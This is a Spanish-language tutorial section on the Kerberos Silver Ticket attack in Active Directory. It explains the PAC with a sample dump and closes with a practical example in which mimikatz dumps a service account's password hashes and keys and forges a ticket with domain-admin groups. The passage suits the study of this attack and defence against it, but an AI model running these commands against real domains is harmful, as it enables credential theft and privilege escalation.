3 - Silver Ticket Attack
En entornos de Active Directory, Kerberos es el protocolo de autenticación central. Una de sus características particulares en la implementación de Microsoft es el uso del PAC (Privilege Attribute Certificate), una estructura que encapsula la identidad y atributos de seguridad de un usuario. Este PAC no es una extensión formal del protocolo Kerberos, sino que se inserta en el campo de "datos de autorización" de los tickets emitidos, cumpliendo un rol fundamental en la generación de tokens de seguridad dentro de Windows.
El PAC contiene información crítica: nombre del usuario, identificador (SID), membresías de grupo, atributos de seguridad, restricciones de acceso, entre otros. Esta información, que únicamente el KDC (Key Distribution Center) puede conocer con certeza, permite que los servicios del dominio generen tokens adaptados a cada sesión, según los privilegios del usuario. El PAC está presente tanto en el Ticket Granting Ticket (TGT) como en los tickets de servicio (TGS), y está cifrado con claves que solo el KDC o el servicio destino conocen, impidiendo que un usuario modifique su propio perfil de acceso. En otras palabras, el PAC actúa como una credencial que abre puertas, pero solo aquellas para las que se tiene permiso legítimo. Un ejemplo del contenido de un PAC sería el siguiente
AuthorizationData item
ad-type: AD-Win2k-PAC (128)
Type: Logon Info (1)
PAC_LOGON_INFO: 01100800ccccccccf001000000000000000004005f9b0c27...
Logon Time: Apr 22, 2024 09:15:42.152000 UTC
Logoff Time: Infinity (absolute time)
PWD Last Set: Apr 1, 2024 12:00:00.000000 UTC
PWD Can Change: Apr 2, 2024 12:00:00.000000 UTC
PWD Must Change: Jul 1, 2024 12:00:00.000000 UTC
Acct Name: john.doe
Full Name: John Doe
Logon Count: 5
Bad PW Count: 0
User RID: 1601
Group RID: 513
GROUP_MEMBERSHIP_ARRAY
Referent ID: 0x0004001d
Max Count: 2
GROUP_MEMBERSHIP:
Group RID: 513
Attributes: 0x00000007
Enabled: SET
Enabled By Default: SET
Mandatory: SET
GROUP_MEMBERSHIP:
Group RID: 545
Attributes: 0x00000007
Enabled: SET
Enabled By Default: SET
Mandatory: SET
User Flags: 0x00000000
User Session Key: 8A4DC3E1F76BB1324F82D7A19B992DFA
Server: DC01
Domain: CORP.LOCAL
SID pointer:
Domain SID: S-1-5-21-4567890123-1234567890-9876543210
User Account Control: 0x00000200
Don't Require PreAuth: FALSE
Use DES Key Only: FALSE
Not Delegated: TRUE
Trusted For Delegation: FALSE
SmartCard Required: FALSE
Encrypted Text Password Allowed: FALSE
Account Auto Locked: FALSE
Don't Expire Password: FALSE
Server Trust Account: FALSE
Workstation Trust Account: FALSE
Interdomain Trust Account: FALSE
MNS Logon Account: FALSE
Normal Account: TRUE
Temp Duplicate Account: FALSE
Password Not Required: FALSE
Home Directory Required: FALSE
Account Disabled: FALSE
Silver Ticket
Cuando un cliente desea acceder a un servicio —por ejemplo, un recurso compartido o una base de datos—, envía una solicitud KRB_TGS_REQ al KDC para obtener un TGS que le permita autenticarse ante dicho servicio.

La respuesta (KRB_TGS_REP) contiene un ticket cifrado con la clave secreta (hash NTLM) de la cuenta que ejecuta el servicio.

Este diseño permite que el servicio pueda verificar la autenticidad del ticket sin necesidad de consultar al KDC, ya que está cifrado con su propia clave. Sin embargo, esta descentralización también introduce un riesgo: si un atacante consigue el hash NTLM de una cuenta de servicio (ya sea de una cuenta de usuario o de una máquina, como DESKTOP-01$
), puede fabricar su propio TGS sin interactuar con el KDC. A este ticket falsificado se lo conoce como un Silver Ticket.
El atacante, con el hash en su poder, puede generar manualmente una estructura de ticket que simule la respuesta legítima del KDC. Define el dominio, el nombre del servicio (su SPN), una identidad arbitraria (como Attacker
), una clave de sesión inventada y un PAC falsificado que, por ejemplo, lo declare miembro del grupo de administradores del dominio. Posteriormente, cifra el bloque sensible del ticket con el hash NTLM de la cuenta de servicio y construye una solicitud KRB_AP_REQ para enviársela directamente al servicio objetivo. Si el servicio acepta el ticket —lo cual suele ocurrir— y no realiza una verificación exhaustiva del PAC, el atacante podrá acceder con privilegios elevados, simulando ser un usuario autorizado.
El truco está en las firmas del PAC. Microsoft utiliza un sistema de doble firma: una con el secreto de la cuenta de servicio (que el atacante conoce) y otra con el secreto de la cuenta krbtgt
(que no conoce). Aunque no puede generar una firma PAC completa y válida, en muchos casos los servicios solo verifican la primera firma, especialmente si se ejecutan con privilegios altos (como SYSTEM
) o tienen asignado el privilegio SeTcbPrivilege
. Esto permite que el Silver Ticket funcione a pesar de que su PAC no esté validado por el KDC. Como resultado, incluso si el administrador cambia la contraseña de la cuenta krbtgt
(lo cual revoca Golden Tickets), los Silver Tickets seguirán siendo válidos siempre que no se modifique la contraseña de la cuenta de servicio comprometida.
Ejemplo practico 1
mimikatz # lsadump::lsa /inject /name:sqlservice
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860
RID : 00000455 (1109)
User : sqlservice
* Primary
NTLM : cd40c9ed96265531b21fc5b1dafcfb0a
LM :
Hash NTLM: cd40c9ed96265531b21fc5b1dafcfb0a
ntlm- 0: cd40c9ed96265531b21fc5b1dafcfb0a
lm - 0: 7bb53f77cde2f49c17190f7a071bd3a0
* WDigest
01 ba42b3f2ef362e231faca14b6dea61ef
02 00a0374f4ac4bce4adda196e458dd8b8
03 f39d8d3e34a4e2eac8f6d4b62fe52d06
04 ba42b3f2ef362e231faca14b6dea61ef
05 98c65218e4b7b8166943191cd8c35c23
06 6eccb56cda1444e3909322305ed04b37
07 25b7998ce2e7b826a576a43f89702921
08 8609a1da5628a4016d32f9eb73314fa0
09 277f84c6c59728fb963a6ee1a3b27f0d
10 63a9f69e8b36c3e0612ec8784b9c7599
11 47cb5c436807396994f1b9ccc8d2f8e1
12 46f2c402d8731ed6dca07f5dbc71a604
13 2990e284070a014e54c749a6f96f9be7
14 c059f85b7f01744dc0a2a013978a965f
15 3600c835f3e81858a77e74370e047e29
16 bd9c013f8a3f743f8a5b553e8a275a88
17 c1d94e24d26fdaad4d6db039058c292e
18 1a433c0634b50c567bac222be4eac871
19 78d7a7573e4af2b8649b0280cd75636d
20 136ddfa7840610480a76777f3be007e0
21 7a4a266a64910bb3e5651994ba6d7fb4
22 a75ec46a7a473e90da499c599bc3d3cb
23 8d3db50354c0744094334562adf74c2a
24 7d07406132d671f73a139ff89da5d72e
25 dd1e02d5c5b8ae969d903a0bc63d9191
26 27da7fc766901eac79eba1a970ceb7da
27 09333600bcc68ee149f449321a5efb27
28 1c550f8b3af2eb4efda5c34aa8a1c549
29 3cd9326a300d2261451d1504832cb062
* Kerberos
Default Salt : CONTROLLER.LOCALSQLService
Credentials
des_cbc_md5 : 5d5dae0dc10e7aec
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALSQLService
Default Iterations : 4096
Credentials
aes256_hmac (4096) : a3a6dbd4d6fa895b600c28bfdaf6b52d59d46a6eb1f455bc08a19b7e8cdab76d
aes128_hmac (4096) : 629b46af543142f77cabcf14afb1caea
des_cbc_md5 (4096) : 5d5dae0dc10e7aec
* NTLM-Strong-NTOWF
Random Value : 7e9547ab69f52e42450903ebbe6ad6ec
mimikatz # Kerberos::golden /user:sqlservice /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:cd40c9ed96265531b21fc5b1dafcfb0a /id:1109
User : sqlservice
Domain : controller.local (CONTROLLER)
SID : S-1-5-21-432953485-3795405108-1502158860
User Id : 1109
Groups Id : *513 512 520 518 519
ServiceKey: cd40c9ed96265531b21fc5b1dafcfb0a - rc4_hmac_nt
Lifetime : 5/24/2025 11:24:08 PM ; 5/22/2035 11:24:08 PM ; 5/22/2035 11:24:08 PM
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
Last updated